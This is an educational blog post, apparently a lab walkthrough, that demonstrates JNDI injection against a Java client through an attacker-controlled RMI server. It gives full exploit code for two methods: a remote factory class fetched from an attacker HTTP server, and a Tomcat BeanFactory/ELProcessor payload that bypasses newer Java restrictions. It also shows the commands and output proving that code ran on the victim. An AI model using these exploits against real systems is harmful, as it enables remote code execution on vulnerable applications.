JNDI Injection Series: RMI Vector — The Final Piece of The Puzzle

Yani
8 min readJan 11, 2023
Photo by Matt Sclarandis on Unsplash

In the previous three blogs (JNDI Injection Series: RMI Vector — Fundamentals, JNDI Injection Series: RMI Vector — Dynamic Class Loading From Remote URL, JNDI Injection Series: RMI Vector — Insecure Deserialization), we have built the foundation for RMI service and explored the RMI service related attacks using dynamic class loading from remote URL or insecure deserialization with gadget chains in local class path. In this blog, we will see how to perform JNDI injection by pointing a victim application to an attacker controlled RMI server.

JNDI 101

JNDI (Java Naming and Directory Interface) is a Java API that allows clients to discover and look up data and objects via a name. It can be used to obtain naming and directory services from several service providers where these objects are stored: LDAP(Lightweight Directory Access Protocol), and Java RMI registry (Remote Method Invocation) and etc.

Some basic concepts involved in JNDI:

  • Naming Service: A Naming Service relates names to object, also known as “bindings.” It provides a facility to find an object based on a name using “lookup” or “search” operation.
  • Directory Service: This is a special type of Naming Service that allows storing and searching for “directory objects.”

A directory object can refer to a concrete object or abstract object. An object has attributes associated with it; an attribute consists of a name or identifier and one or more values. These attributes describe the object, and the exact set of attributes depends on the type of the object. For example, the object might have the following attributes (note the two email addresses):

Name: John zhang
Address: NY, one way street
Email: john@x.com
Email: zhJohn@a.com

Naming services provide name-to-object mapping, and directory services provide a way of retrieving an object by looking up some of its attributes rather than its name.

In order to bind java objects in a Naming or Directory service, JNDI defines naming references so that objects could be stored in the Naming or Directory service indirectly by binding a reference that could be used to create the original object. A naming reference is represented by the Reference class, a Reference can use a factory to construct the object.

  • Context: A context represents a set of bindings within a naming service that all share the same naming convention. A Context object provides the methods for binding names to objects and unbinding names from objects, for renaming objects, and for listing the bindings.

JNDI Injection

JNDI is an interface rather than an implementation, an existing naming service like LDAP/RMI service is needed to integrate with the JNDI. JNDI client takes just one string parameter, but if the parameter is tainted by an attacker, a victim application can be connected to a malicious RMI server and execute arbitrary command. To be more specific, in the JNDI injection attack, an attacker controls the argument to a JNDI lookup operation on the victim application, points the lookup to an RMI server under his control and returns a JDNI naming reference that uses a reference factory for an object instantiation. When loading the reference factory remotely or locally, the embedded RCE payload gets executed.

Demo: Attack JNDI Client Using Remote Reference Factory Class

A JNDI client can use the lookup() method of InitialContext to connect to an RMI registry and request an object.

Context ctx = new InitialContext();
Object local_obj = ctx.lookup(“Object”);

If the JNDI client exposes the lookup parameter to an attacker, for example uses ‘InitialContext.lookup(<attacker controlled>)’ to look up an object from the RMI registry, the attacker can use this parameter to force the victim application to download malicious objects from the RMI server under his control.

Usually, the attacker can set the requested object as an instance of “javax.naming.Reference” class, for example:

Reference reference = new Reference("MyClass","FactoryClass",FactoryClassLocation);

This Reference uses factory to construct the object. There are other ways of constructing the requested objects from a Reference, but using factories as above is interesting for attackers since in order to construct the object, the FactoryClass can be fetched from a remote FactoryClassLocation and instantiated in the victim system.

The attack scenario is depicted as below:

The demo is verified on Java 1.6.0_29. We can reuse the same Java environment set up in the 2.1 section of this blog for both the RMI server and the JNDI client.

Let’s start with the JNDI client.

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
String host = "localhost";
if (args.length > 0)
host = args[0];

Context ctx = new InitialContext();
ctx.lookup("rmi://"+host+":9999/Services");
}
}

Let us assume that JNDI client’s lookup parameter “rmi://”+host+”:9999/Services” is crafted by an attacker.

To cause RCE on the JNDI client server, the attacker designs a RMI server as below:

public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
try {

Registry reg;
try {
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}

Reference Services = new Reference("Calc", "remoteclass.Calc", "http://192.168.0.95:8000/");
ReferenceWrapper ServicesWrapper = new ReferenceWrapper(Services);
reg.bind("Services", ServicesWrapper);

} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

Reference Services = new Reference("Calc", "remoteclass.Calc", "http://192.168.0.95:8000/");

The Reference object holds the address of the factory class that is used by the lookup method to instantiate the referenced object. Since “Calc” is unknown to the victim application, its bytecode will be loaded and executed from http://192.168.0.95:8000/remoteclass/Clac.class

The Calc class is revealed in the following code snippet, it contains RCE payload {"touch", "/tmp/Calc1"}; which results in /tmp/Calc1 file on the victim server to indicate the success of execution.

public class Calc implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;

static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
...
}

Compile the Rmi server

[root@demo rmi-server]# javac rmi/RmiServer.java
[root@demo rmi-server]# java rmi/RmiServer
java RMI registry created. port on 9999...

Compile the Calc class to get Calc.class

[root@demo rmi-server]# javac remoteclass/Calc.java

Start a simple HTTP server with python on 192.168.0.95 to serve the Calc.class

[root@demo rmi-server]# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now it is time to go back to launch the JNDI client on 192.168.0.96

[root@demo rmi-client]# javac rmi/client/RmiClient.java 
[root@demo rmi-client]# java rmi/client/RmiClient 192.168.0.95
Enter getObjectInstance

After the client is executed, the simple HTTP server shows the JNDI client downloaded the factory class:

[root@demo rmi-server]# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.96 - - [11/Jan/2023 18:35:43] "GET /remoteclass/Calc.class HTTP/1.1" 200 -

Check the JNDI client server and see the RCE gets triggered, Calc1 file is generated under /tmp/ folder

[root@demo rmi-client]# ls /tmp/
Calc1

Demo: Exploitation Using Local Reference Factory Class

Since Java 8u191, when a JNDI client receives a Reference object, its “classFactoryLocation” is not used. To bypass this restriction, attackers look for a factory class in target application’s classpath that does something dangerous to facilitate RCE attack. The “org.apache.naming.factory.BeanFactory” class within Apache Tomcat Server fit this need, it creates an instance of arbitrary bean. By using reflection, the bean’s class name, attribute and attribute’s values are controlled by an attacker. By utilising the “BeanFactory” class, we can create an instance of javax.el.ELProcessor. In its “eval” method, we can specify a string that will represent a Java expression language template to be executed.

The workflow for the attack is illustrated as:

In this demo, we use Java version 1.8.0_352. As the servers are Centos 7, the Java can be installed using one line command:

yum install java-1.8.0-openjdk

There are two jar files mentioned in the above explaination needed on both the RMI server Linux box and JNDI client Linux box. Using curl commands to download them:

curl -o tomcat-embed-el-8.5.3.jar  https://repo1.maven.org/maven2/org/apache/tomcat/embed/tomcat-embed-el/8.5.3/tomcat-embed-el-8.5.3.jar

curl -o tomcat-catalina-8.5.3.jar https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-catalina/8.5.3/tomcat-catalina-8.5.3.jar

For the RMI server, the code is extracted to the below:

public class RmiServer  {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

try {
Registry reg;
try {
reg = LocateRegistry.createRegistry(1099);
System.out.println("java RMI registry created. port on 1099...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}

/** Exploit with JNDI Reference with local factory Class **/
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "xx=eval"));
ref.add(new StringRefAddr("xx", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['touch','/tmp/JNDIPoc']).start()\")"));
ReferenceWrapper ServicesWrapper = new ReferenceWrapper(ref);
reg.bind("Services", ServicesWrapper);

} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

In the code snippet, “forceString” property is set to “xx=eval”, which means eval(xx) will get invoked. As xx = \"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['touch','/tmp/JNDIPoc']).start()\") , the ultimate executed code is

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['touch','/tmp/JNDIPoc']).start()\"))

Place tomcat-embed-el-8.5.3.jar and tomcat-catalina-8.5.3.jar under libs folder along with the rmi folder where RmiServer.java resides.

Following the commands to compile and start the RMI server:

[root@demo rmi-server]# javac -cp libs/*:. rmi/RmiServer.java 
[root@demo rmi-server]# java -cp libs/*:. rmi/RmiServer
java RMI registry created. port on 1099...

For the JNDI client application, the code is the same as the first demo:

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
String host = "localhost";
if (args.length > 0)
host = args[0];

Context ctx = new InitialContext();
ctx.lookup("rmi://"+host+":9999/Services");
}
}

Similarly, tomcat-embed-el-8.5.3.jar and tomcat-catalina-8.5.3.jar are put under libs:

Compile and execute

[root@demo rmi-client]# javac -cp libs/*:. rmi/RmiClient.java 
[root@demo rmi-client]# java -cp libs/*:. rmi/RmiClient 192.168.0.95

It is found JNDIPoc under the /tmp on JNDI client Linux box, 192.168.0.96. The exploitation is successful.

[root@demo rmi-client]# ls /tmp/
JNDIPoc

The source code of first demo is downloadable from JNDI-RemoteFactoryClass-attackingClient, for the second, the code is accessible from JNDI-LocalFactoryClass-attackClient.

Final Thoughts

Now it is the end of JNDI Injection series: RMI Vector. If you have any questions or feedback, feel free to leave a comment. If you think this blog post is helpful, please click the clap 👏 button below a few times to show your support!

--

--

Yani

Focusing on Security for Web Application, AWS and Kubernetes, etc. | CKA&CKS, AWS Security & ML Specialty | https://www.linkedin.com/in/yani-dong-041a1b120/